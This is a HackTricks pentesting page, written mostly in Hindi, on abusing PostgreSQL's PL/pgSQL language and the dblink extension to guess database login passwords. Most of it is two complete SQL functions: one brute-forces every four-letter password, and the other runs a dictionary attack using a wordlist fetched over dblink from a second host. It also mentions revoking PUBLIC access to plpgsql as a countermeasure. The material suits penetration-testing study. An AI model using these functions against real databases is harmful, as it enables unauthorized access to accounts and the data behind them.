PL/pgSQL Password Bruteforce

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Find more information about these attack in the original paper.

PL/pgSQL एक पूर्ण विशेषताओं वाला प्रोग्रामिंग भाषा है जो SQL की क्षमताओं से परे बढ़ता है, उन्नत प्रक्रियात्मक नियंत्रण प्रदान करता है। इसमें लूप और विभिन्न नियंत्रण संरचनाओं का उपयोग शामिल है। PL/pgSQL भाषा में बनाए गए फ़ंक्शंस को SQL स्टेटमेंट और ट्रिगर्स द्वारा बुलाया जा सकता है, जो डेटाबेस वातावरण के भीतर संचालन के दायरे को बढ़ाता है।

आप इस भाषा का दुरुपयोग कर सकते हैं ताकि PostgreSQL को उपयोगकर्ताओं के क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए कहा जा सके, लेकिन यह डेटाबेस पर मौजूद होना चाहिए। आप इसकी उपस्थिति की पुष्टि कर सकते हैं:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

डिफ़ॉल्ट रूप से, फंक्शंस बनाना एक विशेषाधिकार है जो PUBLIC को दिया गया है, जहाँ PUBLIC उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, व्यवस्थापक को PUBLIC डोमेन से USAGE विशेषाधिकार को वापस लेना पड़ सकता था:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

इस मामले में, हमारी पिछली क्वेरी विभिन्न परिणामों को आउटपुट करेगी:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

ध्यान दें कि निम्नलिखित स्क्रिप्ट के काम करने के लिए फंक्शन dblink का होना आवश्यक है। यदि यह मौजूद नहीं है, तो आप इसे बनाने की कोशिश कर सकते हैं।

sql
CREATE EXTENSION dblink;

Password Brute Force

यहाँ बताया गया है कि आप 4 अक्षरों के पासवर्ड ब्रूटफोर्स कैसे कर सकते हैं:

sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

ध्यान दें कि 4 अक्षरों को ब्रूट-फोर्स करना भी कई मिनट ले सकता है।

आप एक शब्द सूची डाउनलोड कर सकते हैं और केवल उन पासवर्डों को आजमा सकते हैं (शब्दकोश हमला):

sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें